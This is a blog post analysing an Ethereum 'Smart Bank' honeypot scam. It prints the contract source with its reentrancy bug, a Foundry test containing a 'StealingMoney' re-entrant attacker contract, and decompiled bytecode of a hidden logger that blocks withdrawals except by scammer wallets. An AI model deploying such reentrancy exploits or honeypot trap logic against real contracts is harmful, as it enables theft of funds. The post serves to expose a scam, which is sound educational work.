The malicious bank contract

Have you ever just scrolled through etherscan's verified contracts page?

This page contains a lot of scam contracts and I like to investigate them from time to time. Let's take a look at "Smart Bank" contract at this address: 0xABFa9270168f5889e78bd65C2495462051f35039 . This contract has about 5 ETH and the following code.

contract Smart_Bank {
    function Deposit(uint _unlockTime) public payable {
        Holder storage acc = Accounts[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime > block.timestamp ? _unlockTime : block.timestamp;
        LogFile.AddMessage(msg.sender, msg.value, "Put");
    }

    function Collect(uint _am) public payable {
        Holder storage acc = Accounts[msg.sender];
        if (acc.balance > MinSum && acc.balance >= _am && block.timestamp > acc.unlockTime) {
            (bool success, ) = msg.sender.call{value: _am}("");
            if (success) {
                acc.balance -= _am;
                LogFile.AddMessage(msg.sender, _am, "Collect");
            }
        }
    }

    struct Holder {
        uint unlockTime;
        uint balance;
    }

    mapping(address => Holder) public Accounts;

    Log LogFile;

    uint public MinSum = 1 ether;

    constructor(address log) {
        LogFile = Log(log);
    }

    fallback() external payable {
        Deposit(0);
    }

    receive() external payable {
        Deposit(0);
    }
}

contract Log {
    event Message(address indexed Sender, string Data, uint Val, uint Time);

    function AddMessage(address _adr, uint _val, string memory _data) external {
        emit Message(_adr, _data, _val, block.timestamp);
    }
}

The contract source above is reproduced from its public verified listing on Etherscan for the purpose of analysis and commentary.

At a first glance, it looks like a generic bank contract. It allows you to deposit money and then withdraw it back. And of course it tracks the balance of each one of the users and doesn't allow anyone other than you to withdraw the money - Even the deployer can't touch your money.

Well, if you're just scanning Etherscan's verified contracts for fun, you're probably at least somewhat technical person. So you start reading the code and then you get to the Collect function.

function Collect(uint _am) public payable {
    Holder storage acc = Accounts[msg.sender];
    if (acc.balance > MinSum && acc.balance >= _am && block.timestamp > acc.unlockTime) {
        (bool success, ) = msg.sender.call{value: _am}("");
        if (success) {
            acc.balance -= _am;
            LogFile.AddMessage(msg.sender, _am, "Collect");
        }
    }
}

But wait a second, there's a bug there. If I withdraw money, it starts with sending me the money and only then it updates my account's balance. Which means I can write a contract to withdraw more money than I have available.

So just to make sure that you don't miss anything you decide to write a quick forge test. And because Smart Bank requires a logger contract passed to the constructor, you just find the address they used and pass it also in your test.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;

import {Test} from "forge-std/Test.sol";
import {Smart_Bank} from "../src/Smart_Bank.sol";

contract StealingMoney {
    uint internal totalWithdrawn;
    Smart_Bank internal smartBank;

    constructor(Smart_Bank _smartBank) {
        smartBank = _smartBank;
    }

    function collectMoney() public {
        smartBank.Collect(1 ether);
    }

    function depositMoney() public {
        smartBank.Deposit{value: 2 ether}(0);
    }

    fallback() external payable {
        totalWithdrawn += 1;

        if (totalWithdrawn < 7) {
            collectMoney();
        }
    }
}

contract Smart_BankTest is Test {
    Smart_Bank public smartBank;

    StealingMoney internal stealingMoney;

    function setUp() public {
        smartBank = new Smart_Bank(0xf7f96745D0FDF0940277E52c023Af8fBf6F445Af);
        stealingMoney = new StealingMoney(smartBank);
    }

    function testStealing() public {
        address stealingMoneyAddr = address(stealingMoney); 
        vm.deal(stealingMoneyAddr, 5 ether);
        vm.deal(address(smartBank), 5 ether);

        assertEq(stealingMoneyAddr.balance, 5 ether, "Stealing money contract missing initial balance");

        stealingMoney.depositMoney();

        // There's a block timestamp check
        skip(300);

        stealingMoney.collectMoney();

        assertTrue(stealingMoneyAddr.balance > 5 ether, "Money not stolen");
    }
}

And guess what, the tests even pass!

[PASS] testStealing() (gas: 187575)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.33s (204.93ms CPU time)

Now you're 100% sure that you found a way to steal 5 ETH from a random smart contract.

You're deploying your contract, depositing ETH and starting this whole process. You already tell your girlfriend to meet you at the airport because you're going on a vacation.

And... you suddenly get a weird error. Money is not stolen. You can't even withdraw your own balance! How's that possible? You just ran tests that prove this contract is exploitable. What did you miss?

What you missed is the logger. This random logger contract that you just passed to the constructor is the one throwing the error. If we try to look for its source code on etherscan, we find out that it's not even verified.

But its decompiled bytecode looks like that:

# Palkeoramix decompiler. 

def storage:
  stor0 is addr at storage 0
  stor1 is addr at storage 1
  stor2 is addr at storage 2

def _fallback() payable: # default function
  revert

def unknown4b906714(addr _param1, uint256 _param2, array _param3) payable: 
  if stor1 != tx.origin:
      require tx.origin == stor2
  call _param1 with:
     value _param2 wei
       gas gas_remaining wei
      args _param3[all]
  require ext_call.success

def AddMessage(address _adr, uint256 _val, string _data): # not payable
  log 0xb7206ff2: Array(len=_data.length, data=_data[all]), _val, block.timestamp, _adr
  if caller == stor0:
      if stor1 != tx.origin:
          if stor2 != tx.origin:
              if _val > 0:
                  require 0 < _data.length
                  require Mask(8, 248, cd[(_data + 36)]) != 'C'

And its storage is mapped to the following values:

So AddMessage rejects if the following requirements are met:

• The caller is the bank contract.
• The origin is not one of two wallets (the scammer wallets).
• The event name starts with "C" (like our Collect).

You can't get your money back. But the scammer can do it easily by deploying its own contract and "attacking" the bank contract in the same way you tried to do. This way they both steal your money and get their money back.